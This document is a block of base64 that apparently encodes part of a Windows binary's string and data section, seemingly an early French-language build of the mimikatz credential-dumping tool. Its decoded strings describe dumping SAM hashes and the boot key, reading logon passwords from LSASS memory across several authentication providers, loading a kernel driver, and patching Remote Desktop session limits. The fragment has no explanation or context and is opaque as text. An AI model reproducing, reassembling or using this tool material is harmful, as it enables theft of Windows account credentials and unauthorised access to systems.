AGQAdQBsAGUAcwAAAEwAaQBzAHQAZQAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAJwBhAGQAcgBlAHMAcwBhAGcAZQAAAAAAaQBhAHQAAAAnAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBzAHUAZABvAAAAAAAAACAAKgAgAEwAZQAgAFQAaAByAGUAYQBkACAAcAByAGkAbgBjAGkAcABhAGwAIABlAHMAdAAgAHMAdQBzAHAAZQBuAGQAdQAgACEAIABSAGUAcAByAGkAcwBlACAAYQB2AGUAYwAgADoAIAB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAAAAAAAAAAAACAAKgAgAEwAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQBzAHQAIABkAOkAbQBhAHIAcgDpACAAYQB2AGUAYwAgAGQAZQAgAGYAYQB1AHMAcwBlAHMAIABkAG8AbgBuAOkAZQBzACAAZAAnAGkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAABwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIABbAC8AcABhAHUAcwBlAGQAXQAgAFsALwBzAHUAZABvAF0AIABjAG8AbQBtAGEAbgBkAGUAAABFAHIAcgBlAHUAcgAgAGQAZQAgAHMAeQBuAHQAYQB4AGUAIAA7ACAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB0AG8AcAAgADsAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgADsAIAAAAAAAUwB1AHMAcABlAG4AcwBpAG8AbgAgAGQAZQAgADoAIAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAUgBlAHAAcgBpAHMAZQAgAGQAZQAgADoAIAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHIAZQBzAHUAbQBlACAAOwAgAAAAUABJAEQACQBQAFAASQBEAAkAIwBUAGgAcwAJAHAAcgBpAAkAaQBtAGEAZwBlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAQABCAGEAcwBlAAkAVABhAGkAbABsAGUACQBNAG8AZAB1AGwAZQAJAFAAYQB0AGgAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AE0AbwBkAHUAbABlAHMATABpAHMAdABGAG8AcgBQAHIAbwBjAGUAcwBzAEkAZAAgADsAIAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOwAgAAAAAABQAEkARAAgACAAIAAgACAAIAA6ACAAAABUAGgAcgBlAGEAZABJAEQAIAA6ACAAAABBdXRoSWRfaCA6IABBdXRoSWRfbCA6IABFAHIAcgBlAHUAcgAgADoAIAAAACAALQAgAEkAbQBwAG8AcgB0AHMAIABkAGUAcAB1AGkAcwAgADoAIAAAAAAAIAAgACAAIAAgACAAAAAAAE8AIwAgAAAAaW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0AAAAAABSAOkAYwB1AHAA6AByAGUAIABsAGEAIABiAG8AbwB0AGsAZQB5ACAAZABlAHAAdQBpAHMAIAB1AG4AZQAgAHIAdQBjAGgAZQAgAFMAWQBTAFQARQBNACAAcAB1AGkAcwAgAGwAZQBzACAAaABhAHMAaABlAHMAIABkAGUAcAB1AGkAcwAgAHUAbgBlACAAcgB1AGMAaABlACAAUwBBAE0AAAAAAGgAYQBzAGgAZQBzAAAAAAAAAAAAUgDpAGMAdQBwAOgAcgBlACAAbABhACAAYgBvAG8AdABrAGUAeQAgAGQAZQBwAHUAaQBzACAAdQBuAGUAIAByAHUAYwBoAGUAIABTAFkAUwBUAEUATQAAAGIAbwBvAHQAawBlAHkAAABFAHIAcgBlAHUAcgAgAGwAbwByAHMAIABkAGUAIABsACcAZQB4AHAAbABvAHIAYQB0AGkAbwBu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AHAAawBnAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABMAGkAdgBlAFMAUwBQAAAAAABsAGkAdgBlAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAGUAcwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAZABpAHMAcABvAG4AaQBiAGwAZQBzAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAByAGUAYwBoAGUAcgBlACAAZABpAHIAZQBjAHQAZQBtAGUAbgB0ACAAZABhAG4AcwAgAGwAZQBzACAAcwBlAGcAbQBlAG4AdABzACAAbQDpAG0AbwBpAHIAZQAgAGQAZQAgAEwAUwBBAFMAUwAgAGQAZQBzACAAbQBvAHQAcwAgAGQAZQAgAHAAYQBzAHMAZQBzAAAAcwBlAGEAcgBjAGgAUABhAHMAcwB3AG8AcgBkAHMAAABEAG8AbgBuAOkAZQBzACAATABTAEEAUwBTACAAZQBuACAAZQByAHIAZQB1AHIAAABsAHMAYQBzAHIAdgAAAAAAbQBzAHYAMQBfADAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBzAEwAaQBzAHQARgBvAHIAUAByAG8AYwBlAHMAcwAgADoAIAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAAAgAH0AAAAAAF0AIAB7ACAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACoAIABbAAAAbgAuAHQALgAgACgATABVAEkARAAgAEsATwApAAAAAABEAG8AbQBhAGkAbgBlACAAZAAnAGEAdQB0AGgAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AIAAgADoAIAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAcAByAGkAbgBjAGkAcABhAGwAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAYQBjAGsAYQBnAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAAA7AAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAZQAgAHMAZQBzAHMAaQBvAG4AAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAOkAbgB1AG0AZQByAGUAcgAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAABEAOkAbQBhAHIAcgBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAFMAdQBwAHAAcgBpAG0AZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAEkAbgBzAHQAYQBsAGwAZQAgAGUAdAAvAG8AdQAgAGQA6QBtAGEAcgByAGUAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAABXAEkATgAzADIAXwBPAFcATgBfAFAAUgBPAEMARQBTAFMAAABXAEkATgAzADIAXwBTAEgAQQBSAEUAXwBQAFIATwBDAEUAUwBTAAAAQwBPAE4AVABJAE4AVQBFAF8AUABFAE4ARABJAE4ARwAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAFAAQQBVAFMARQBEAAAAAABSAFUATgBOAEkATgBHAAAAUwBUAEEAUgBUAF8AUABFAE4ARABJAE4ARwAAAFMAVABPAFAAXwBQAEUATgBEAEkATgBHAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAG4AbwBuACAAcAByAOkAcwBlAG4AdAAsACAAaQBuAHMAdABhAGwAbABhAHQAaQBvAG4ALgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AcwB5AHMAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAWwArAF0AIABBAHQAdAByAGkAYgB1AHQAaQBvAG4AIABkAGUAcwAgAGQAcgBvAGkAdABzACAAOgAgAE8ASwAAAFsALQBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABLAE8AIAA7ACAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAFsAKgBdACAAUABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAOkAagDgACAAcAByAOkAcwBlAG4AdAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAABFAGYAZgBhAGMAZQAgAGwAJwDpAGMAcgBhAG4AIAAoAG4AZQAgAGYAbwBuAGMAdABpAG8AbgBuAGUAIABwAGEAcwAgAGUAbgAgAOkAeABlAGMAdQB0AGkAbwBuACAAZABpAHMAdABhAG4AdABlACwAIAB2AGkAYQAgAFAAcwBFAHgAZQBjACAAcABhAHIAIABlAHgAZQBtAHAAbABlACkAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAAAAAAAAQwBhAGwAYwB1AGwAZQAgAGwAYQAgAHIA6QBwAG8AbgBzAGUAIADgACAAbABhACAARwByAGEAbgBkAGUAIABRAHUAZQBzAHQAaQBvAG4AIABzAHUAcgAgAGwAYQAgAFYAaQBlACwAIABsACcAVQBuAGkAdgBlAHIAcwAgAGUAdAAgAGwAZQAgAFIAZQBzAHQAZQAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAUgBlAHQAbwB1AHIAbgBlACAAbABhACAAdgBlAHIAcwBpAG8AbgAgAGQAZQAgAG0AaQBtAGkAawBhAHQAegAAAHYAZQByAHMAaQBvAG4AAABNAGUAdABzACAAZQBuACAAcABhAHUAcwBlACAAbQBpAG0AaQBrAGEAdAB6ACAAdQBuACAAYwBlAHIAdABhAGkAbgBzACAAbgBvAG0AYgByAGUAIABkAGUAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAZQBzAAAAAABzAGwAZQBlAHAAAAAwODo1MjoyMQAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAARgBpAG4AIAAhAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAIABjAG8AdQByAGEAbgB0AAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAIABuAG8AbQAgAGQAJwBvAHIAZABpAG4AYQB0AGUAdQByACAAYwBvAHUAcgBhAG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABVAHMAZQByAE4AYQBtAGUAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAAOgAgAAAAAABzAGUAcwBzAGkAbwBuAHMAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAFAAYQB0AGMAaAAgAGwAZQAgAGIAdQByAGUAYQB1ACAA4AAgAGQAaQBzAHQAYQBuAGMAZQAgAHAAbwB1AHIAIABkAOkAcABhAHMAcwBlAHIAIAAyACAAYwBvAG4AbgBlAHgAaQBvAG4AcwAgAHMAaQBtAHUAbAB0AGEAbgDpAGUAcwAAAG0AdQBsAHQAaQByAGQAcAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwDpAHQAYQB0ACAAZABlACAAbABhACAAcAByAGkAcwBlACAAZABlACAAYwBvAG4AdAByAPQAbABlACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABSAEQAUAAAAHYAaQBlAHcAcwBoAGEAZABvAHcAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAABtAG8AZABpAGYAeQBzAGgAYQBkAG8AdwAAAAAAUwBlAHMAcwBJAGQACQBFAHQAYQB0AAkAcwB0AHIARQB0AGEAdAAAAG0AbwBkAF8AdABzADoAOgBnAGUAdABTAGUAcwBzAGkAbwBuAHMAIAA6ACAAAAAAAFAASQBEAAkAUwBlAHMAcwBJAGQACQBVAHQAaQBsAGkAcwBhAHQAZQB1AHIAAAAAAEQASQBTAEEAQgBMAEUAAABJAE4AVABFAFIAQQBDAFQAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAVgBJAEUAVwBfAE4ATwBBAFMASwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAFMAZQByAHYAaQBjAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAEkATgBUAEUAUgBBAEMAVAAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAFYASQBFAFcAIAAoAGMAbwBuAGYAaQByAG0AYQB0AGkAbwBuACkAAABBAGMAdABpAHYAZQAAAAAAQwBvAG4AbgBlAGMAdABlAGQAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAUwBoAGEAZABvAHcAAAAAAEQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABJAGQAbABlAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAARABvAHcAbgAAAAAASQBuAGkAdAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAUwB1AHMAcABlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAYQBjAHQAaQBmAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAcwB1AHMAcABlAG4AZAB1AAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAcQB1AGkAdAAAAAAAUABJAEQACQBUAEkARAAJAHAAcgBUAGgAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAdABoAHIAZQBhAGQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgByAGUAcwB1AG0AZQAgADsAIAAAAAAAJwAgAGkAbgB2AGEAbABpAGQAZQAAAAAAYQByAGcAdQBtAGUAbgB0ACAAJwAAAAAACQBzAHUAcwBwAGUAbgBzAGkAbwBuACAAAAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHUAcwBwAGUAbgBkACAAOwAgAAAACQBhAHIAcgDqAHQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHQAbwBwACAAOwAgAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAABNAGUAdAAgAGUAbgAgAHAAYQB1AHMAZQAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAAAAcABhAHUAcwBlAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAABQAGEAdABjAGgA6QAgADsAKQAAAHcAaQBuAG0AaQBuAGUALgBlAHgAZQAAAG4ALgBhAC4AIAAoAGsAZQByAGIAZQByAG8AcwAgAEsATwApAAAAAABuAC4AcwAuACAAKABTAHUAcABwAEMAcgBlAGQAIABLAE8AKQAgAC8AIAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABQAHIAaQBtAGEAcgB5AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAAABuAC4AZQAuACAAKABMAGUAYwB0AHUAcgBlACAASwBJAFcASQBfAE0AUwBWADEAXwAwAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4AcwAuACAAKABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBMAEkAUwBUACAASwBPACkAAAAAAG4ALgBhAC4AIAAoAG0AcwB2ADEAXwAwACAASwBPACkAAAAAACAAfQAsACAAbgB0AGwAbQB7ACAAAAAAAGwAbQB7ACAAAAAAAAkAIAAqACAASABhAHMAaAAgAE4AVABMAE0AIAAgACAAIAA6ACAAAAAJACAAKgAgAEgAYQBzAGgAIABMAE0AIAAgACAAIAAgACAAOgAgAAAAbgAuAGUALgAgACgATABlAGMAdAB1AHIAZQAgAEIAbABvAGMAawAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAEsATwApAAAAbgAuAHMALgAgACgAQgBsAG8AYwBrACAAQwByAGUAZABlAG4AdABpAGEAbABzACAASwBPACkAAABuAC4AYQAuACAAKABTAFMAUAAgAEsATwApAAAAbgAuAGEALgAgACgAdABzAHAA